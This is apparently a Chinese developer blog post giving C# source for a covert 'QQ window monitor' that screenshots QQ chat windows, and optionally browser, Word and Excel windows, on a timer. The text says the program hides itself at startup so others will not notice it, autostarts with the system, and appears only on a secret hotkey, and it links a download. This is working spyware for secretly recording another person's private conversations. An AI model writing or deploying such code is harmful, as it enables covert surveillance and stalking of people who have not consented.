QQ窗体监控系统

原理很简单,就是获取窗体Handle,然后获取窗体的类名,如果是QQ窗体的类名(TXGuiFoundation),则截取当前窗体图片。在实现过程中需要添加一个Timer用于监控,设置快捷键用于显示程序窗体(为了不让别人发现,程序启动时就隐藏),设置程序开机自动启动(以前的日志中有详细介绍),为了方便还可以添加更为丰富的功能。当然,也不一定是只对QQ进行监控,对浏览器、Word、Excel等等都可以进行监控,用于保存数据都采用图片存储的方式,所以保存文件应尽量放在空间加大的硬盘里面,另外还可以将监控的时间间隔稍微设置长一点。具体细节在此就不阐述了,下面介绍主要的实现代码:

 [DllImport("user32.dll")]
        private static extern void GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);

        [DllImport("user32.dll")]
        private extern static bool SetCursorPos(int x, int y);

        [DllImport("user32.dll")]
        private extern static IntPtr WindowFromPoint(int x, int y);
       
        private struct POINTAPI
        {
            public int x;
            public int y;
        }

        private struct RECT
        {
            public int Left;
            public int Top;
            public int Right;
            public int Bottom;
        }

        private struct WINDOWPLACEMENT
        {
            public int length;
            public int flags;
            public int showCmd;
            public POINTAPI ptMinPosition;
            public POINTAPI ptMaxPosition;
            public RECT rcNormalPosition;
        }

        [DllImport("user32.dll")]
        private static extern bool GetWindowPlacement(IntPtr hWnd, ref WINDOWPLACEMENT lpwndpl);
       
        private void monitortimer_Tick(object sender, EventArgs e)
        {
            IntPtr myIntPtr = WindowFromPoint(Cursor.Position.X, Cursor.Position.Y);
            if (myIntPtr != (IntPtr)0)
            {
                StringBuilder lpClassName = new StringBuilder(256);               
                GetClassName(myIntPtr, lpClassName, 256);
                if (lpClassName.ToString() == "TXGuiFoundation")
                {
                    Point point01 = new Point(), point02 = new Point();
                    WINDOWPLACEMENT winPlacement = new WINDOWPLACEMENT();
                    GetWindowPlacement(myIntPtr, ref winPlacement);
                    point01.X = winPlacement.rcNormalPosition.Left;
                    point01.Y = winPlacement.rcNormalPosition.Top;
                    point02.X = winPlacement.rcNormalPosition.Right;
                    point02.Y = winPlacement.rcNormalPosition.Bottom;

                    Bitmap bitmap = GetScreenImage(point01, point02, false);
                    string ss = savePath +"//"+ count.ToString();
                    count++;
                    bitmap.Save(ss, System.Drawing.Imaging.ImageFormat.Jpeg);
                }
            }
            SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1);
        }

        //设置进程工作内存
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool SetProcessWorkingSetSize(IntPtr procHandle, int min,int max);

        [DllImport("user32.dll", SetLastError = true)]
        public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);

        [DllImport("user32.dll")]
        private static extern void mouse_event(MouseEventFlag flags, int dx, int dy, uint data, UIntPtr extraInfo);
        enum MouseEventFlag : uint
        {
            Move = 0x0001,
            LeftDown = 0x0002,
            LeftUp = 0x0004,
            RightDown = 0x0008,
            RightUp = 0x0010,
            MiddleDown = 0x0020,
            MiddleUp = 0x0040,
            XDown = 0x0080,
            XUp = 0x0100,
            Wheel = 0x0800,
            VirtualDesk = 0x4000,
            Absolute = 0x8000
        }

        [System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
        private static extern bool BitBlt(
         IntPtr hdcDest, //目标设备的句柄
         int nXDest, // 目标对象的左上角的X坐标
         int nYDest, // 目标对象的左上角的Y坐标
         int nWidth, // 目标对象的矩形的宽度
         int nHeight, // 目标对象的矩形的长度
         IntPtr hdcSrc, // 源设备的句柄
         int nXSrc, // 源对象的左上角的X坐标
         int nYSrc, // 源对象的左上角的X坐标
         System.Int32 dwRop // 光栅的操作值
         );
        [System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
        private static extern IntPtr CreateDC(
         string lpszDriver, // 驱动名称
         string lpszDevice, // 设备名称
         string lpszOutput, // 无用,可以设定位"NULL"
         IntPtr lpInitData // 任意的打印机数据
         );

        private Bitmap GetScreenImage(Point point01, Point point02, bool full)
        {
            //创建显示器的DC
            IntPtr dc1 = CreateDC("DISPLAY", null, null, (IntPtr)null);
            //由一个指定设备的句柄创建一个新的Graphics对象
            Graphics g1 = Graphics.FromHdc(dc1);
            Bitmap MyImage;
            int width, height;
            if (full)
            {
                width = Screen.PrimaryScreen.Bounds.Width;
                height = Screen.PrimaryScreen.Bounds.Height;
            }
            else
            {
                width = point02.X - point01.X;
                height = point02.Y - point01.Y;
            }

            //根据指定的宽度和高度创建一个与之相同大小的Bitmap对象
            MyImage = new Bitmap(width, height, g1);

            //获得屏幕的句柄
            Graphics g2 = Graphics.FromImage(MyImage);
            //获得位图的句柄
            IntPtr dc3 = g1.GetHdc();
            //把当前屏幕捕获到位图对象中
            IntPtr dc2 = g2.GetHdc();
            //把当前屏幕拷贝到位图中
            BitBlt(dc2, 0, 0, width, height, dc3, point01.X, point01.Y, 13369376);
            //释放屏幕句柄
            g1.ReleaseHdc(dc3);
            //释放位图句柄
            g2.ReleaseHdc(dc2);
            return MyImage;
        }

程序主界面如下:

测试结果如下:

 

基于C#开发,可以监控QQ窗体、浏览器、Word、Excel、迅雷、暴风影音等窗体。开机时自动启动程序,并隐藏程序界面。按住Ctrl+Shift+Alt+P可以显示系统界面。用户可以自定义设置监控结果保存路径,默认情况下将自动保存至程序同目录下。用户还可以自定义添加监控窗体类,如杀毒软件、图片查看器等等。本程序仅供学习,不得用于其他用途。

下载地址:

http://download.csdn.net/source/2631656

 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值